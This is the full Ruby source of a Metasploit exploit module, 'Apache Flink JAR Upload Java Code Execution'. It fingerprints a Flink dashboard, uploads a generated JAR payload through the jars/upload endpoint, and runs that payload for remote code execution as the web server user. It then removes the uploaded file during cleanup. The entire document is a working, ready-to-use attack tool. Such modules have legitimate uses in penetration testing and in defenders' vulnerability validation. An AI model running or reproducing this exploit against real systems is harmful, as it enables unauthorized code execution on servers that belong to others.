## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Flink JAR Upload Java Code Execution', 'Description' => %q{ This module uses job functionality in Apache Flink dashboard web interface to upload and execute a JAR file, leading to remote execution of arbitrary Java code as the web server user. This module has been tested successfully on Apache Flink versions: 1.9.3 on Ubuntu 18.04.4; 1.11.2 on Ubuntu 18.04.4; 1.9.3 on Windows 10; and 1.11.2 on Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'Henry Chen', # Initial technique demonstration and writeup 'bigger.wing', # Python exploit 'bcoles' # Metasploit module ], 'References' => [ ['EDB', '48978'], ['PACKETSTORM', '159779'], ['URL', 'https://github.com/biggerwing/apache-flink-unauthorized-upload-rce-'], ['URL', 'https://s.tencent.com/research/bsafe/841.html'], ['URL', 'https://cloud.tencent.com/developer/article/1540439'], ['URL', 'https://nsfocusglobal.com/advisory-apache-flink-remote-code-execution-vulnerability/'], ], 'Platform' => 'java', 'Arch' => [ARCH_JAVA], 'Targets' => [ ['Automatic', {}] ], 'Privileged' => false, 'DisclosureDate' => '2019-11-13', 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION] } ) ) register_options([ Opt::RPORT(8081) ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'config') }) unless res return CheckCode::Unknown('No reply.') end unless res.body.include?('flink') return CheckCode::Safe('Target is not Apache Flink.') end version = res.get_json_document['flink-version'] if version return CheckCode::Appears("Apache Flink version #{version}.") end CheckCode::Appears end def delete_jar(filename) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'jars', filename), 'method' => 'DELETE', 'ctype' => 'application/json;charset=UTF-8' ) end def list_jars send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'jars'), 'method' => 'GET' ) end def upload_jar(filename, data) post_data = Rex::MIME::Message.new post_data.add_part(data, 'application/x-java-archive', 'binary', "form-data; name=\"jarfile\"; filename=\"#{filename}\"") send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'jars', 'upload'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s ) end def run_jar(filename, entry_class) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'jars', filename, 'run'), 'method' => 'POST', 'ctype' => 'application/json;charset=UTF-8', 'vars_get' => { 'entry-class' => entry_class }, 'data' => { entryClass: entry_class, parallelism: nil, programArgs: nil, savepointPath: nil, allowNonRestoredState: nil }.to_json ) end def cleanup return unless @jar print_status("Removing JAR file '#{@jar}' ...") res = delete_jar(@jar) unless res && res.code == 200 print_warning("Cleanup failed. Could not remove JAR file '#{@jar}'") end end def exploit data = generate_payload.encoded_jar.pack fail_with(Failure::Unknown, 'Failed to generate the JAR payload.') unless data filename = "#{rand_text_alpha(8..12)}.jar" print_status("Uploading JAR payload '#{filename}' (#{data.length} bytes) ...") res = upload_jar(filename, data) unless res fail_with(Failure::Unreachable, 'JAR upload failed. No reply.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, "JAR upload failed. Unexpected reply (HTTP #{res.code}).") end unless res.get_json_document['status'] == 'success' fail_with(Failure::UnexpectedReply, 'JAR upload failed. Unexpected reply.') end print_status('Retrieving list of avialable JAR files ...') res = list_jars unless res fail_with(Failure::Unreachable, 'Could not list available JARs. No reply.') end unless res.code == 200 fail_with(Failure::UnexpectedReply, "Could not list available JARs. Unexpected reply (HTTP #{res.code}).") end jars = res.get_json_document['files'] if jars.blank? fail_with(Failure::UnexpectedReply, 'Could not list available JARs. No JAR files available.') end jars.each do |jar| if jar['name'] == filename @jar = jar['id'] break end end unless @jar fail_with(Failure::UnexpectedReply, 'Could not retrieve JAR file name.') end print_good("Found uploaded JAR file '#{@jar}'") entry_class = 'metasploit.Payload' print_status("Executing JAR payload '#{@jar}' entry class '#{entry_class}' ...") run_jar(@jar, entry_class) end end